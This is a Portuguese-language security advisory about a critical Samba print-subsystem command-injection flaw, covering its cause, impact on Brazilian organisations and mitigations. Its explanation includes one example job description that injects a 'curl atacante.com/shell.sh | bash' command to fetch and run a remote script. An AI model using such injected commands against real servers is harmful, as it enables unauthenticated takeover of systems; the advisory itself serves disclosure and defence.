Falha CVSS 10 no Samba

Uma vulnerabilidade de execução remota de código no subsistema de impressão do Samba recebeu a pontuação máxima de severidade CVSS 10.0. Rastreada como CVE-2026-4480, a falha permite que atacantes não autenticados executem comandos arbitrários em servidores de impressão afetados, sem necessidade de credenciais ou interação do usuário.

O problema afeta todas as versões do Samba configuradas com a diretiva “print command” que utiliza o caractere de substituição %J. O Samba passa a string de descrição do trabalho de impressão — controlada pelo cliente — diretamente para o comando configurado, sem escapar metacaracteres de shell. Por padrão, servidores de impressão permitem que usuários convidados imprimam documentos, o que elimina qualquer barreira de autenticação.

Como a exploração funciona

O atacante envia um trabalho de impressão com uma descrição maliciosa contendo comandos de shell. Quando o Samba processa o trabalho, ele substitui %J pela string do atacante e executa o resultado como comando do sistema. Um exemplo simples seria usar documento.pdf; curl atacante.com/shell.sh | bash como descrição do trabalho.

Servidores com “printing = cups” ou “printing = iprint” não são afetados, pois não utilizam a diretiva “print command” com %J.

Dados técnicos da vulnerabilidade:

  • CVSS: 10.0 (máximo) — vetor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Tipo: Execução remota de código não autenticada
  • Componente afetado: Subsistema de impressão com %J em “print command”
  • Condição de segurança: Nenhuma autenticação necessária (guest permitido por padrão)

Impacto no cenário brasileiro

O Samba é um dos softwares mais utilizados em infraestruturas corporativas brasileiras. Empresas que mantêm controladores de domínio Linux, servidores de arquivos e impressão em data centers próprios estão potencialmente vulneráveis. A combinação de CVSS 10.0 com ausência de autenticação torna essa falha particularmente perigosa em ambientes onde o servidor de impressão está exposto à rede.

Sob a LGPD, um ataque explorando essa vulnerabilidade que resulte em vazamento de dados pessoais exigiria notificação à ANPD e aos titulares afetados em prazo razoável.

Proteção imediata e mitigação

  1. Atualize o Samba para as versões 4.22.10, 4.23.8 ou 4.24.3 imediatamente
  2. Se não puder atualizar agora, adicione aspas simples ao redor de %J na diretiva “print command” (ex: print command = meu_script '%J') — isso reduz o risco mas não elimina completamente
  3. Se não usa a funcionalidade de impressão, remova %J completamente da diretiva “print command”
  4. Restrinja o acesso ao serviço de impressão Samba usando regras de firewall — bloqueie portas 139 e 445 de redes não confiáveis
  5. Audite todas as instâncias Samba com testparm -v | grep "print command" para identificar configurações vulneráveis

Fontes e referências